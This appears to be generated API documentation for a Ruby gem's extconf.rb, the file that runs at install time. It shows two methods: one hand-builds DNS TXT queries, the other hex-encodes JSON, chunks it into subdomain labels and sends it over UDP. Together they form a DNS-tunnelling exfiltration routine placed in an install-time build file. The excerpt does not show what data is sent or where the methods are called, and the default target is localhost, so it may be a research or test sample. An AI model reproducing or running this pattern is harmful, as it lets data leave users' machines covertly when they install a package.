Top Level Namespace

Defined Under Namespace

Modules: Mock, Testing

Instance Method Summary collapse

Instance Method Details

#build_dns_query(domain, qtype = 16) ⇒ Object

16 = TXT



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# File 'ext/ext/extconf.rb', line 6

def build_dns_query(domain, qtype=16) # 16 = TXT
  transaction_id = rand(0xFFFF)
  
  query = [transaction_id].pack('n')  # Transaction ID
  query += [0x0100].pack('n')          # Flags (standard query)
  query += [1, 0, 0, 0].pack('n4')     # Questions, Answers, Authority, Additional
  
  # Encode domain name
  domain.split('.').each do |label|
    query += [label.length].pack('C')
    query += label
  end
  query += [0].pack('C')  # End of domain
  
  query += [qtype, 1].pack('n2')  # Type and Class (IN)
  
  query
end

#send_json_via_dns(json_obj, target_domain, dns_server = "127.0.0.1", port = 5300) ⇒ Object 



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# File 'ext/ext/extconf.rb', line 25

def send_json_via_dns(json_obj, target_domain, dns_server="127.0.0.1", port=5300)
  json_str = json_obj.to_json
  encoded = json_str.unpack1("H*")
  
  puts "JSON: #{json_str}"
  puts "Encoded: #{encoded}"
  puts "Length: #{encoded.length} chars\n"
  
  # For small JSON, send in one query
  if encoded.length <= 50
    domain = "#{encoded}.json.#{target_domain}"
    query = build_dns_query(domain, 16)
    
    socket = UDPSocket.new
    socket.send(query, 0, dns_server, port)
    puts "Sent to #{dns_server}:#{port}"
    socket.close
  else
    # Chunk for larger payloads
    chunks = encoded.scan(/.{1,50}/)
    chunks.each_with_index do |chunk, i|
      domain = "#{chunk}.#{i}_#{chunks.length}.#{target_domain}"
      query = build_dns_query(domain, 16)
      
      socket = UDPSocket.new
      socket.send(query, 0, dns_server, port)
      puts "Chunk #{i+1}/#{chunks.length} sent"
      socket.close
      
      sleep 0.05
    end
  end
end